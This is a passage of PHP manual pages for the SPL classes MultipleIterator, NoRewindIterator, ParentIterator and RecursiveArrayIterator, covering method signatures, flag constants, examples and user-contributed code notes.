MultipleIterator implements Iterator {
/* Constants */
const integer MIT_NEED_ANY = 0 ;
const integer MIT_NEED_ALL = 1 ;
const integer MIT_KEYS_NUMERIC = 0 ;
const integer MIT_KEYS_ASSOC = 2 ;
/* Methods */
public __construct ([ int $flags = MultipleIterator::MIT_NEED_ALL|MultipleIterator::MIT_KEYS_NUMERIC ] )
public void attachIterator ( Iterator $iterator [, string $infos ] )
public void containsIterator ( Iterator $iterator )
public void countIterators ( void )
public array current ( void )
public void detachIterator ( Iterator $iterator )
public void getFlags ( void )
public array key ( void )
public void next ( void )
public void rewind ( void )
public void setFlags ( int $flags )
public void valid ( void )
}

Predefined Constants

MultipleIterator::MIT_NEED_ANY

Do not require all sub iterators to be valid in iteration.

MultipleIterator::MIT_NEED_ALL

Require all sub iterators to be valid in iteration.

MultipleIterator::MIT_KEYS_NUMERIC

Keys are created from the sub iterators position.

MultipleIterator::MIT_KEYS_ASSOC

Keys are created from sub iterators associated information.

Table of Contents

  • MultipleIterator::attachIterator — Attaches iterator information
  • MultipleIterator::__construct — Constructs a new MultipleIterator
  • MultipleIterator::containsIterator — Checks if an iterator is attached
  • MultipleIterator::countIterators — Gets the number of attached iterator instances
  • MultipleIterator::current — Gets the registered iterator instances
  • MultipleIterator::detachIterator — Detaches an iterator
  • MultipleIterator::getFlags — Gets the flag information
  • MultipleIterator::key — Gets the registered iterator instances
  • MultipleIterator::next — Moves all attached iterator instances forward
  • MultipleIterator::rewind — Rewinds all attached iterator instances
  • MultipleIterator::setFlags — Sets flags
  • MultipleIterator::valid — Checks the validity of sub iterators

User Contributed Notes

There are no user contributed notes for this page.


Attaches iterator information

  • « MultipleIterator
  • MultipleIterator::__construct »
  • PHP Manual
  • MultipleIterator
  • Attaches iterator information

MultipleIterator::attachIterator

(PHP 5 >= 5.3.0)

MultipleIterator::attachIterator — Attaches iterator information

Description

public void MultipleIterator::attachIterator ( Iterator $iterator [, string $infos ] )

Attaches iterator information.

Warning

This function is currently not documented; only its argument list is available.

Parameters

iterator

The new iterator to attach.

infos

The associative information for the Iterator, which must be an integer, a string, or NULL.

Return Values

Description...

Errors/Exceptions

An IllegalValueException if the iterator parameter is invalid, or if infos is already associated information.

See Also

  • MultipleIterator::__construct() - Constructs a new MultipleIterator

User Contributed Notes

DDT 12-Jan-2013 11:38
If you have multiple file upload fields named "files[]"...

<?php
if (isset($_FILES["files"])) {
   $uploads = new MultipleIterator(MultipleIterator::MIT_KEYS_ASSOC);
   $uploads->attachIterator(new ArrayIterator((array) $_FILES["files"]["name"]), "name");
   $uploads->attachIterator(new ArrayIterator((array) $_FILES["files"]["size"]), "size");
   $uploads->attachIterator(new ArrayIterator((array) $_FILES["files"]["type"]), "type");
   $uploads->attachIterator(new ArrayIterator((array) $_FILES["files"]["tmp_name"]), "tmp_name");
   $uploads->attachIterator(new ArrayIterator((array) $_FILES["files"]["error"]), "error");

   foreach ($uploads as $file) {
      echo htmlspecialchars($file["name"]) . " = {$file["size"]} bytes<br/>";
   }
}
?>
andresdzphp at php dot net 28-Sep-2011 08:14
<?php
$ait_id = new ArrayIterator(array('c1001', 'c1002', 'c1003'));
$ait_name = new ArrayIterator(array('apple', 'orange', 'banana'));
$ait_units = new ArrayIterator(array(756, 996, 2345));

$mit = new MultipleIterator(MultipleIterator::MIT_KEYS_ASSOC);
$mit->attachIterator($ait_id, "ID");
$mit->attachIterator($ait_name, "NAME");
$mit->attachIterator($ait_units, "UNITS");

echo $mit->countIterators() . "\n"; //3

if ($mit->containsIterator($ait_id)) { //true
    echo "ait_id iterator attached \n";
}

foreach ($mit as $fruit) {
    echo "<pre>";
    print_r($fruit);
    echo "</pre>";
}
?>

Result:

3
ait_id iterator attached

Array
(
    [ID] => c1001
    [NAME] => apple
    [UNITS] => 756
)
Array
(
    [ID] => c1002
    [NAME] => orange
    [UNITS] => 996
)
Array
(
    [ID] => c1003
    [NAME] => banana
    [UNITS] => 2345
)


Constructs a new MultipleIterator

  • « MultipleIterator::attachIterator
  • MultipleIterator::containsIterator »
  • PHP Manual
  • MultipleIterator
  • Constructs a new MultipleIterator

MultipleIterator::__construct

(PHP 5 >= 5.3.0)

MultipleIterator::__construct — Constructs a new MultipleIterator

Description

public MultipleIterator::__construct ([ int $flags = MultipleIterator::MIT_NEED_ALL|MultipleIterator::MIT_KEYS_NUMERIC ] )

Construct a new MultipleIterator.

Parameters

flags

The flags to set, according to the Flag Constants.

  • MultipleIterator::MIT_NEED_ALL or MultipleIterator::MIT_NEED_ANY
  • MultipleIterator::MIT_KEYS_NUMERIC or MultipleIterator::MIT_KEYS_ASSOC

Defaults to MultipleIterator::MIT_NEED_ALL|MultipleIterator::MIT_KEYS_NUMERIC.

Return Values

No value is returned.

Examples

Example #1 Iterating a MultipleIterator

<?php
$people = new ArrayIterator(array('John', 'Jane', 'Jack', 'Judy'));
$roles  = new ArrayIterator(array('Developer', 'Scrum Master', 'Project Owner'));

$team = new MultipleIterator($flags);
$team->attachIterator($people, 'person');
$team->attachIterator($roles, 'role');

foreach ($team as $member) {
    print_r($member);
}
?>

Output with $flags = MIT_NEED_ALL|MIT_KEYS_NUMERIC

Array
(
    [0] => John
    [1] => Developer
)
Array
(
    [0] => Jane
    [1] => Scrum Master
)
Array
(
    [0] => Jack
    [1] => Project Owner
)

Output with $flags = MIT_NEED_ANY|MIT_KEYS_NUMERIC

Array
(
    [0] => John
    [1] => Developer
)
Array
(
    [0] => Jane
    [1] => Scrum Master
)
Array
(
    [0] => Jack
    [1] => Project Owner
)
Array
(
    [0] => Judy
    [1] =>
)

Output with $flags = MIT_NEED_ALL|MIT_KEYS_ASSOC

Array
(
    [person] => John
    [role] => Developer
)
Array
(
    [person] => Jane
    [role] => Scrum Master
)
Array
(
    [person] => Jack
    [role] => Project Owner
)

Output with $flags = MIT_NEED_ANY|MIT_KEYS_ASSOC

Array
(
    [person] => John
    [role] => Developer
)
Array
(
    [person] => Jane
    [role] => Scrum Master
)
Array
(
    [person] => Jack
    [role] => Project Owner
)
Array
(
    [person] => Judy
    [role] =>
)

See Also

  • Flag Constants
  • MultipleIterator::valid() - Checks the validity of sub iterators

User Contributed Notes

There are no user contributed notes for this page.


Checks if an iterator is attached

  • « MultipleIterator::__construct
  • MultipleIterator::countIterators »
  • PHP Manual
  • MultipleIterator
  • Checks if an iterator is attached

MultipleIterator::containsIterator

(PHP 5 >= 5.3.0)

MultipleIterator::containsIterator — Checks if an iterator is attached

Description

public void MultipleIterator::containsIterator ( Iterator $iterator )

Checks if an iterator is attached or not.

Warning

This function is currently not documented; only its argument list is available.

Parameters

iterator

The iterator to check.

Return Values

Returns TRUE on success or FALSE on failure.

See Also

  • MultipleIterator::valid() - Checks the validity of sub iterators

User Contributed Notes

There are no user contributed notes for this page.


Gets the number of attached iterator instances

  • « MultipleIterator::containsIterator
  • MultipleIterator::current »
  • PHP Manual
  • MultipleIterator
  • Gets the number of attached iterator instances

MultipleIterator::countIterators

(PHP 5 >= 5.3.0)

MultipleIterator::countIterators — Gets the number of attached iterator instances

Description

public void MultipleIterator::countIterators ( void )

Gets the number of attached iterator instances.

Warning

This function is currently not documented; only its argument list is available.

Parameters

This function has no parameters.

Return Values

The number of attached iterator instances (as an integer).

See Also

  • MultipleIterator::containsIterator() - Checks if an iterator is attached

User Contributed Notes

There are no user contributed notes for this page.


Gets the registered iterator instances

  • « MultipleIterator::countIterators
  • MultipleIterator::detachIterator »
  • PHP Manual
  • MultipleIterator
  • Gets the registered iterator instances

MultipleIterator::current

(PHP 5 >= 5.3.0)

MultipleIterator::current — Gets the registered iterator instances

Description

public array MultipleIterator::current ( void )

Get the registered iterator instances current() result.

Warning

This function is currently not documented; only its argument list is available.

Parameters

This function has no parameters.

Return Values

An array containing the current values of each attached iterator, or FALSE if no iterators are attached.

Errors/Exceptions

A RuntimeException if mode MIT_NEED_ALL is set and at least one attached iterator is not valid. Or an IllegalValueException if a key is NULL and MIT_KEYS_ASSOC is set.

See Also

  • MultipleIterator::valid() - Checks the validity of sub iterators

User Contributed Notes

There are no user contributed notes for this page.


Detaches an iterator

  • « MultipleIterator::current
  • MultipleIterator::getFlags »
  • PHP Manual
  • MultipleIterator
  • Detaches an iterator

MultipleIterator::detachIterator

(PHP 5 >= 5.3.0)

MultipleIterator::detachIterator — Detaches an iterator

Description

public void MultipleIterator::detachIterator ( Iterator $iterator )

Detaches an iterator.

Warning

This function is currently not documented; only its argument list is available.

Parameters

iterator

The iterator to detach.

Return Values

No value is returned.

See Also

  • MultipleIterator::attachIterator() - Attaches iterator information

User Contributed Notes

There are no user contributed notes for this page.


Gets the flag information

  • « MultipleIterator::detachIterator
  • MultipleIterator::key »
  • PHP Manual
  • MultipleIterator
  • Gets the flag information

MultipleIterator::getFlags

(PHP 5 >= 5.3.0)

MultipleIterator::getFlags — Gets the flag information

Description

public void MultipleIterator::getFlags ( void )

Gets information about the flags.

Warning

This function is currently not documented; only its argument list is available.

Parameters

This function has no parameters.

Return Values

Information about the flags, as an integer.

See Also

  • Flag Constants
  • MultipleIterator::__construct() - Constructs a new MultipleIterator
  • MultipleIterator::setFlags() - Sets flags

User Contributed Notes

There are no user contributed notes for this page.


Gets the registered iterator instances

  • « MultipleIterator::getFlags
  • MultipleIterator::next »
  • PHP Manual
  • MultipleIterator
  • Gets the registered iterator instances

MultipleIterator::key

(PHP 5 >= 5.3.0)

MultipleIterator::key — Gets the registered iterator instances

Description

public array MultipleIterator::key ( void )

Get the registered iterator instances key() result.

Warning

This function is currently not documented; only its argument list is available.

Parameters

This function has no parameters.

Return Values

An array of all registered iterator instances, or FALSE if no sub iterator is attached.

Errors/Exceptions

A LogicException if mode MIT_NEED_ALL is set, and at least one attached iterator is not valid.

Calling this method from foreach triggers warning "Illegal type returned".

See Also

  • MultipleIterator::current() - Gets the registered iterator instances

User Contributed Notes

There are no user contributed notes for this page.


Moves all attached iterator instances forward

  • « MultipleIterator::key
  • MultipleIterator::rewind »
  • PHP Manual
  • MultipleIterator
  • Moves all attached iterator instances forward

MultipleIterator::next

(PHP 5 >= 5.3.0)

MultipleIterator::next — Moves all attached iterator instances forward

Description

public void MultipleIterator::next ( void )

Moves all attached iterator instances forward.

Warning

This function is currently not documented; only its argument list is available.

Parameters

This function has no parameters.

Return Values

No value is returned.

See Also

  • MultipleIterator::rewind() - Rewinds all attached iterator instances

User Contributed Notes

There are no user contributed notes for this page.


Rewinds all attached iterator instances

  • « MultipleIterator::next
  • MultipleIterator::setFlags »
  • PHP Manual
  • MultipleIterator
  • Rewinds all attached iterator instances

MultipleIterator::rewind

(PHP 5 >= 5.3.0)

MultipleIterator::rewind — Rewinds all attached iterator instances

Description

public void MultipleIterator::rewind ( void )

Rewinds all attached iterator instances.

Warning

This function is currently not documented; only its argument list is available.

Parameters

This function has no parameters.

Return Values

No value is returned.

See Also

  • MultipleIterator::next() - Moves all attached iterator instances forward

User Contributed Notes

There are no user contributed notes for this page.


Sets flags

  • « MultipleIterator::rewind
  • MultipleIterator::valid »
  • PHP Manual
  • MultipleIterator
  • Sets flags

MultipleIterator::setFlags

(PHP 5 >= 5.3.0)

MultipleIterator::setFlags — Sets flags

Description

public void MultipleIterator::setFlags ( int $flags )

Sets flags.

Warning

This function is currently not documented; only its argument list is available.

Parameters

flags

The flags to set, according to the Flag Constants

Return Values

No value is returned.

See Also

  • Flag Constants
  • MultipleIterator::__construct() - Constructs a new MultipleIterator
  • MultipleIterator::getFlags() - Gets the flag information

User Contributed Notes

There are no user contributed notes for this page.


Checks the validity of sub iterators

  • « MultipleIterator::setFlags
  • NoRewindIterator »
  • PHP Manual
  • MultipleIterator
  • Checks the validity of sub iterators

MultipleIterator::valid

(PHP 5 >= 5.3.0)

MultipleIterator::valid — Checks the validity of sub iterators

Description

public void MultipleIterator::valid ( void )

Checks the validity of sub iterators.

Warning

This function is currently not documented; only its argument list is available.

Parameters

This function has no parameters.

Return Values

Returns TRUE if one or all sub iterators are valid depending on flags, otherwise FALSE

See Also

  • MultipleIterator::__construct() - Constructs a new MultipleIterator

User Contributed Notes

There are no user contributed notes for this page.


The NoRewindIterator class

(PHP 5 >= 5.1.0)

Introduction

This iterator cannot be rewound.

Class synopsis

NoRewindIterator extends IteratorIterator {
/* Methods */
public __construct ( Iterator $iterator )
public mixed current ( void )
public iterator getInnerIterator ( void )
public mixed key ( void )
public void next ( void )
public void rewind ( void )
public bool valid ( void )
/* Inherited methods */
public IteratorIterator::__construct ( Traversable $iterator )
public mixed IteratorIterator::current ( void )
public Traversable IteratorIterator::getInnerIterator ( void )
public scalar IteratorIterator::key ( void )
public void IteratorIterator::next ( void )
public void IteratorIterator::rewind ( void )
public bool IteratorIterator::valid ( void )
}

Table of Contents

  • NoRewindIterator::__construct — Construct a NoRewindIterator
  • NoRewindIterator::current — Get the current value
  • NoRewindIterator::getInnerIterator — Get the inner iterator
  • NoRewindIterator::key — Get the current key
  • NoRewindIterator::next — Forward to the next element
  • NoRewindIterator::rewind — Prevents the rewind operation on the inner iterator.
  • NoRewindIterator::valid — Validates the iterator

User Contributed Notes

There are no user contributed notes for this page.


Construct a NoRewindIterator

  • « NoRewindIterator
  • NoRewindIterator::current »
  • PHP Manual
  • NoRewindIterator
  • Construct a NoRewindIterator

NoRewindIterator::__construct

(PHP 5 >= 5.1.0)

NoRewindIterator::__construct — Construct a NoRewindIterator

Description

public NoRewindIterator::__construct ( Iterator $iterator )

Constructs a NoRewindIterator.

Parameters

iterator

The iterator being used.

Return Values

A NoRewindIterator() based on the passed in iterator.

Examples

Example #1 NoRewindIterator::__construct() example

The second loop does not output because the iterator is only used once, as it does not rewind.

<?php
$fruit = array('apple', 'banana', 'cranberry');

$arr = new ArrayObject($fruit);
$it  = new NoRewindIterator($arr->getIterator());

echo "Fruit A:\n";
foreach( $it as $item ) {
    echo $item . "\n";
}

echo "Fruit B:\n";
foreach( $it as $item ) {
    echo $item . "\n";
}
?>

The above example will output something similar to:

Fruit A:
apple
banana
cranberry
Fruit B:

See Also

  • NoRewindIterator::valid() - Validates the iterator

User Contributed Notes

There are no user contributed notes for this page.


Get the current value

  • « NoRewindIterator::__construct
  • NoRewindIterator::getInnerIterator »
  • PHP Manual
  • NoRewindIterator
  • Get the current value

NoRewindIterator::current

(PHP 5 >= 5.1.0)

NoRewindIterator::current — Get the current value

Description

public mixed NoRewindIterator::current ( void )

Gets the current value.

Warning

This function is currently not documented; only its argument list is available.

Parameters

This function has no parameters.

Return Values

The current value.

See Also

  • NoRewindIterator::key() - Get the current key

User Contributed Notes

There are no user contributed notes for this page.


Get the inner iterator

  • « NoRewindIterator::current
  • NoRewindIterator::key »
  • PHP Manual
  • NoRewindIterator
  • Get the inner iterator

NoRewindIterator::getInnerIterator

(PHP 5 >= 5.1.0)

NoRewindIterator::getInnerIterator — Get the inner iterator

Description

public iterator NoRewindIterator::getInnerIterator ( void )

Gets the inner iterator, that was passed in to NoRewindIterator.

Warning

This function is currently not documented; only its argument list is available.

Parameters

This function has no parameters.

Return Values

The inner iterator, as passed to NoRewindIterator::__construct().

See Also

  • NoRewindIterator::valid() - Validates the iterator

User Contributed Notes

There are no user contributed notes for this page.


Get the current key

  • « NoRewindIterator::getInnerIterator
  • NoRewindIterator::next »
  • PHP Manual
  • NoRewindIterator
  • Get the current key

NoRewindIterator::key

(PHP 5 >= 5.1.0)

NoRewindIterator::key — Get the current key

Description

public mixed NoRewindIterator::key ( void )

Gets the current key.

Warning

This function is currently not documented; only its argument list is available.

Parameters

This function has no parameters.

Return Values

The current key.

See Also

  • NoRewindIterator::next() - Forward to the next element

User Contributed Notes

There are no user contributed notes for this page.


Forward to the next element

  • « NoRewindIterator::key
  • NoRewindIterator::rewind »
  • PHP Manual
  • NoRewindIterator
  • Forward to the next element

NoRewindIterator::next

(PHP 5 >= 5.1.0)

NoRewindIterator::next — Forward to the next element

Description

public void NoRewindIterator::next ( void )

Forwards to the next element.

Warning

This function is currently not documented; only its argument list is available.

Parameters

This function has no parameters.

Return Values

No value is returned.

See Also

  • NoRewindIterator::rewind() - Prevents the rewind operation on the inner iterator.

User Contributed Notes

There are no user contributed notes for this page.


Prevents the rewind operation on the inner iterator.

  • « NoRewindIterator::next
  • NoRewindIterator::valid »
  • PHP Manual
  • NoRewindIterator
  • Prevents the rewind operation on the inner iterator.

NoRewindIterator::rewind

(PHP 5 >= 5.1.0)

NoRewindIterator::rewind — Prevents the rewind operation on the inner iterator.

Description

public void NoRewindIterator::rewind ( void )

Prevents the rewind operation on the inner iterator.

Parameters

This function has no parameters.

Return Values

No value is returned.

Examples

Example #1 NoRewindIterator::rewind() example

This example demonstrates that calling rewind on a NoRewindIterator object has no effect.

<?php
$fruits = array("lemon", "orange", "apple", "pear");

$noRewindIterator = new NoRewindIterator(new ArrayIterator($fruits));

echo $noRewindIterator->current() . "\n";
$noRewindIterator->next();
// now rewind the iterator (nothing should happen)
$noRewindIterator->rewind();
echo $noRewindIterator->current() . "\n";
?>

The above example will output:

lemon
orange

User Contributed Notes

There are no user contributed notes for this page.


Validates the iterator

  • « NoRewindIterator::rewind
  • ParentIterator »
  • PHP Manual
  • NoRewindIterator
  • Validates the iterator

NoRewindIterator::valid

(PHP 5 >= 5.1.0)

NoRewindIterator::valid — Validates the iterator

Description

public bool NoRewindIterator::valid ( void )

Checks whether the iterator is valid.

Warning

This function is currently not documented; only its argument list is available.

Parameters

This function has no parameters.

Return Values

Returns TRUE on success or FALSE on failure.

See Also

  • NoRewindIterator::getInnerIterator() - Get the inner iterator

User Contributed Notes

There are no user contributed notes for this page.


The ParentIterator class

(PHP 5 >= 5.1.0)

Introduction

This extended FilterIterator allows a recursive iteration using RecursiveIteratorIterator that only shows those elements which have children.

Class synopsis

ParentIterator extends RecursiveFilterIterator implements RecursiveIterator , OuterIterator {
/* Methods */
public bool accept ( void )
public __construct ( RecursiveIterator $iterator )
public ParentIterator getChildren ( void )
public bool hasChildren ( void )
public void next ( void )
public void rewind ( void )
}

Table of Contents

  • ParentIterator::accept — Determines acceptability
  • ParentIterator::__construct — Constructs a ParentIterator
  • ParentIterator::getChildren — Return the inner iterator's children contained in a ParentIterator
  • ParentIterator::hasChildren — Check whether the inner iterator's current element has children
  • ParentIterator::next — Move the iterator forward
  • ParentIterator::rewind — Rewind the iterator

User Contributed Notes

Anonymous 20-Dec-2011 04:55
ParentIterator is just a RecursiveFilterIterator whos accept() method calls the RecursiveFilterIterator->hasChildren() method to filter itself.

Basically, it filters out leaf nodes. For example

This would yield all files and directories
<?php
$rdi = new RecursiveDirectoryIterator(__DIR__);
$iter = new RecursiveIteratorIterator($rdi, RecursiveIteratorIterator::CHILD_FIRST);
?>

wrapping that in a ParentIterator would filter it down to just directories
<?php
$rdi = new RecursiveDirectoryIterator(__DIR__);
$iter = new RecursiveIteratorIterator($rdi, RecursiveIteratorIterator::CHILD_FIRST);
$dirsOnly = new ParentIterator($iter);
?>


Determines acceptability

  • « ParentIterator
  • ParentIterator::__construct »
  • PHP Manual
  • ParentIterator
  • Determines acceptability

ParentIterator::accept

(PHP 5 >= 5.1.0)

ParentIterator::accept — Determines acceptability

Description

public bool ParentIterator::accept ( void )

Determines if the current element has children.

Warning

This function is currently not documented; only its argument list is available.

Parameters

This function has no parameters.

Return Values

TRUE if the current element is acceptable, otherwise FALSE.

See Also

  • ParentIterator::hasChildren() - Check whether the inner iterator's current element has children
  • FilterIterator::accept() - Check whether the current element of the iterator is acceptable

User Contributed Notes

There are no user contributed notes for this page.


Constructs a ParentIterator

  • « ParentIterator::accept
  • ParentIterator::getChildren »
  • PHP Manual
  • ParentIterator
  • Constructs a ParentIterator

ParentIterator::__construct

(PHP 5 >= 5.1.0)

ParentIterator::__construct — Constructs a ParentIterator

Description

public ParentIterator::__construct ( RecursiveIterator $iterator )

Constructs a ParentIterator on an iterator.

Warning

This function is currently not documented; only its argument list is available.

Parameters

iterator

The iterator being constructed upon.

Return Values

The ParentIterator.

User Contributed Notes

There are no user contributed notes for this page.


Return the inner iterator's children contained in a ParentIterator

  • « ParentIterator::__construct
  • ParentIterator::hasChildren »
  • PHP Manual
  • ParentIterator
  • Return the inner iterator's children contained in a ParentIterator

ParentIterator::getChildren

(PHP 5 >= 5.1.0)

ParentIterator::getChildren — Return the inner iterator's children contained in a ParentIterator

Description

public ParentIterator ParentIterator::getChildren ( void )

Get the inner iterator's children contained in a ParentIterator.

Warning

This function is currently not documented; only its argument list is available.

Parameters

This function has no parameters.

Return Values

An object.

User Contributed Notes

There are no user contributed notes for this page.


Check whether the inner iterator's current element has children

  • « ParentIterator::getChildren
  • ParentIterator::next »
  • PHP Manual
  • ParentIterator
  • Check whether the inner iterator's current element has children

ParentIterator::hasChildren

(PHP 5 >= 5.1.0)

ParentIterator::hasChildren — Check whether the inner iterator's current element has children

Description

public bool ParentIterator::hasChildren ( void )

Check whether the inner iterator's current element has children.

Warning

This function is currently not documented; only its argument list is available.

Parameters

This function has no parameters.

Return Values

Returns TRUE on success or FALSE on failure.

User Contributed Notes

There are no user contributed notes for this page.


Move the iterator forward

  • « ParentIterator::hasChildren
  • ParentIterator::rewind »
  • PHP Manual
  • ParentIterator
  • Move the iterator forward

ParentIterator::next

(PHP 5 >= 5.1.0)

ParentIterator::next — Move the iterator forward

Description

public void ParentIterator::next ( void )

Moves the iterator forward.

Warning

This function is currently not documented; only its argument list is available.

Parameters

This function has no parameters.

Return Values

No value is returned.

User Contributed Notes

There are no user contributed notes for this page.


Rewind the iterator

  • « ParentIterator::next
  • RecursiveArrayIterator »
  • PHP Manual
  • ParentIterator
  • Rewind the iterator

ParentIterator::rewind

(PHP 5 >= 5.1.0)

ParentIterator::rewind — Rewind the iterator

Description

public void ParentIterator::rewind ( void )

Rewinds the iterator.

Warning

This function is currently not documented; only its argument list is available.

Parameters

This function has no parameters.

Return Values

No value is returned.

User Contributed Notes

There are no user contributed notes for this page.


The RecursiveArrayIterator class

(PHP 5 >= 5.1.0)

Introduction

This iterator allows to unset and modify values and keys while iterating over Arrays and Objects in the same way as the ArrayIterator. Additionally it is possible to iterate over the current iterator entry.

Class synopsis

RecursiveArrayIterator extends ArrayIterator implements RecursiveIterator {
/* Methods */
public RecursiveArrayIterator getChildren ( void )
public bool hasChildren ( void )
/* Inherits */
public void ArrayIterator::append ( mixed $value )
public void ArrayIterator::asort ( void )
public ArrayIterator::__construct ([ mixed $array = array() [, int $flags = 0 ]] )
public int ArrayIterator::count ( void )
public mixed ArrayIterator::current ( void )
public array ArrayIterator::getArrayCopy ( void )
public void ArrayIterator::getFlags ( void )
public mixed ArrayIterator::key ( void )
public void ArrayIterator::ksort ( void )
public void ArrayIterator::natcasesort ( void )
public void ArrayIterator::natsort ( void )
public void ArrayIterator::next ( void )
public void ArrayIterator::offsetExists ( string $index )
public mixed ArrayIterator::offsetGet ( string $index )
public void ArrayIterator::offsetSet ( string $index , string $newval )
public void ArrayIterator::offsetUnset ( string $index )
public void ArrayIterator::rewind ( void )
public void ArrayIterator::seek ( int $position )
public string ArrayIterator::serialize ( void )
public void ArrayIterator::setFlags ( string $flags )
public void ArrayIterator::uasort ( string $cmp_function )
public void ArrayIterator::uksort ( string $cmp_function )
public string ArrayIterator::unserialize ( string $serialized )
public bool ArrayIterator::valid ( void )
}

Table of Contents

  • RecursiveArrayIterator::getChildren — Returns an iterator for the current entry if it is an array or an object.
  • RecursiveArrayIterator::hasChildren — Returns whether current entry is an array or an object.

User Contributed Notes

lemoinem dot remove at me dot mlemoine dot name 13-Dec-2013 07:29
The RecursiveArrayOnlyIterator behaviour c dot 1 at smithies dot org presented can also be achieved using the (undocumented) flag RecursiveArrayIterator::CHILD_ARRAYS_ONLY (https://github.com/php/php-src/blob/master/ext/spl/spl_array.c#L1970 and https://github.com/php/php-src/blob/master/ext/spl/spl_array.c#L1620)
c dot 1 at smithies dot org 15-Nov-2011 07:29
If you are iterating over a multi-dimensional array of objects, you may be tempted to use a RecursiveArrayIterator within a RecursiveIteratorIterator. You are likely to get baffling results if you do. That is because RecursiveArrayIterator treats all objects as having children, and tries to recurse into them. But if you are interested in having your RecursiveIteratorIterator return the objects in your multi-dimensional array, then you don't want the default setting LEAVES_ONLY, because no object can be a leaf (= has no children).

The solution is to extend the RecursiveArrayIterator class and override the hasChildren method appropriately. Something like the following might be suitable:

<?php
class RecursiveArrayOnlyIterator extends RecursiveArrayIterator {
  public function hasChildren() {
    return is_array($this->current());
  }
}
?>
Of course, this simple example will not recurse into ArrayObjects either!
mccarthy dot richard at gmail dot com 22-Feb-2011 04:23
Using the RecursiveArrayIterator to traverse an unknown amount of sub arrays within the outer array. Note: This functionality is already provided by using the RecursiveIteratorIterator but is useful in understanding how to use the iterator when using for the first time as all the terminology does get rather confusing at first sight of SPL!

<?php
$myArray = array(
    0 => 'a',
    1 => array('subA','subB',array(0 => 'subsubA', 1 => 'subsubB', 2 => array(0 => 'deepA', 1 => 'deepB'))),
    2 => 'b',
    3 => array('subA','subB','subC'),
    4 => 'c'
);

$iterator = new RecursiveArrayIterator($myArray);
iterator_apply($iterator, 'traverseStructure', array($iterator));

function traverseStructure($iterator) {

    while ( $iterator -> valid() ) {

        if ( $iterator -> hasChildren() ) {

            traverseStructure($iterator -> getChildren());

        }
        else {
            echo $iterator -> key() . ' : ' . $iterator -> current() .PHP_EOL;
        }

        $iterator -> next();
    }
}
?>

The output from which is:
0 : a
0 : subA
1 : subB
0 : subsubA
1 : subsubB
0 : deepA
1 : deepB
2 : b
0 : subA
1 : subB
2 : subC
4 : c


Returns an iterator for the current entry if it is an array or an object.

  • « RecursiveArrayIterator
  • RecursiveArrayIterator::hasChildren »
  • PHP Manual
  • RecursiveArrayIterator
  • Returns an iterator for the current entry if it is an array or an object.

RecursiveArrayIterator::getChildren

(PHP 5 >= 5.1.0)

RecursiveArrayIterator::getChildren — Returns an iterator for the current entry if it is an array or an object.

Description

public RecursiveArrayIterator RecursiveArrayIterator::getChildren ( void )

Returns an iterator for the current iterator entry.

Parameters

This function has no parameters.

Return Values

An iterator for the current entry, if it is an array or object.

Errors/Exceptions

An InvalidArgumentException will be thrown if the current entry does not contain an array or an object.

Examples

Example #1 RecursiveArrayIterator::getChildren() example

<?php
$fruits = array("a" => "lemon", "b" => "orange", array("a" => "apple", "p" => "pear"));

$iterator = new RecursiveArrayIterator($fruits);

while ($iterator->valid()) {

    if ($iterator->hasChildren()) {
        // print all children
        foreach ($iterator->getChildren() as $key => $value) {
            echo $key . ' : ' . $value . "\n";
        }
    } else {
        echo "No children.\n";
    }

    $iterator->next();
}
?>

The above example will output:

No children.
No children.
a : apple
p : pear

See Also

  • RecursiveArrayIterator::hasChildren() - Returns whether current entry is an array or an object.

User Contributed Notes

814ckf0x 06-Mar-2014 05:44
RecursiveArrayIterator::getChildrens returns a copy of the children, not a reference:
<?php
$stack = array ("some" => "value",
                array ("subsome" => "subvalue", array ("subsubsome" => "subsubvalue")),
                "some1" => "value1");

$object = new RecursiveArrayIterator ($stack);
$object->next ();
$second_object = &$object->getChildren ();

$second_object->next ();

$third_object = &$second_object->getChildren ();

$third_object->offsetSet ("subsubsome", "subsubdiferent");

var_dump ($object);
var_dump ($second_object);
var_dump ($third_object);
?>

returns:

object(RecursiveArrayIterator)#1 (1) {
  ["storage":"ArrayIterator":private]=>
  array(3) {
    ["some"]=>
    string(5) "value"
    [0]=>
    array(2) {
      ["subsome"]=>
      string(8) "subvalue"
      [0]=>
      array(1) {
        ["subsubsome"]=>
        string(11) "subsubvalue" <--- expected to be changed
      }
    }
    ["some1"]=>
    string(6) "value1"
  }
}
object(RecursiveArrayIterator)#2 (1) {
  ["storage":"ArrayIterator":private]=>
  array(2) {
    ["subsome"]=>
    string(8) "subvalue"
    [0]=>
    array(1) {
      ["subsubsome"]=>
      string(11) "subsubvalue" <--- expected to be changed
    }
  }
}
object(RecursiveArrayIterator)#3 (1) {
  ["storage":"ArrayIterator":private]=>
  array(1) {
    ["subsubsome"]=>
    string(14) "subsubdiferent"
  }
}


Returns whether current entry is an array or an object.

  • « RecursiveArrayIterator::getChildren
  • RecursiveCachingIterator »
  • PHP Manual
  • RecursiveArrayIterator
  • Returns whether current entry is an array or an object.

RecursiveArrayIterator::hasChildren

(PHP 5 >= 5.1.0)

RecursiveArrayIterator::hasChildren — Returns whether current entry is an array or an object.

Description

public bool RecursiveArrayIterator::hasChildren ( void )

Returns whether current entry is an array or an object for which an iterator can be obtained via RecursiveArrayIterator::getChildren().

Parameters

This function has no parameters.

Return Values

Returns TRUE if the current entry is an array or an object, otherwise FALSE is returned.

Examples

Example #1 RecursiveArrayIterator::hasChildren() example

<?php
$fruits = array("a" => "lemon", "b" => "orange", array("a" => "apple", "p" => "pear"));

$iterator = new RecursiveArrayIterator($fruits);

while ($iterator->valid()) {

    // Check if there are children
    if ($iterator->hasChildren()) {
        // print all children
        foreach ($iterator->getChildren() as $key => $value) {
            echo $key . ' : ' . $value . "\n";
        }
    } else {
        echo "No children.\n";
    }

    $iterator->next();
}
?>

The above example will output:

No children.
No children.
a : apple
p : pear

See Also

  • RecursiveArrayIterator::getChildren() - Returns an iterator for the current entry if it is an array or an object.

User Contributed Notes

There are no user contributed notes for this page.


The RecursiveCachingIterator class

(PHP 5 >= 5.1.0)

Introduction

...

Class synopsis

RecursiveCachingIterator extends CachingIterator implements Countable , ArrayAccess , OuterIterator , RecursiveIterator {
/* Methods */
public __construct ( Iterator $iterator [, string $flags = self::CALL_TOSTRING ] )
public RecursiveCachingIterator getChildren ( void )
public bool hasChildren ( void )
/* Inherits */
public CachingIterator::__construct ( Iterator $iterator [, string $flags = self::CALL_TOSTRING ] )
public int CachingIterator::count ( void )
public void CachingIterator::current ( void )
public array CachingIterator::getCache ( void )
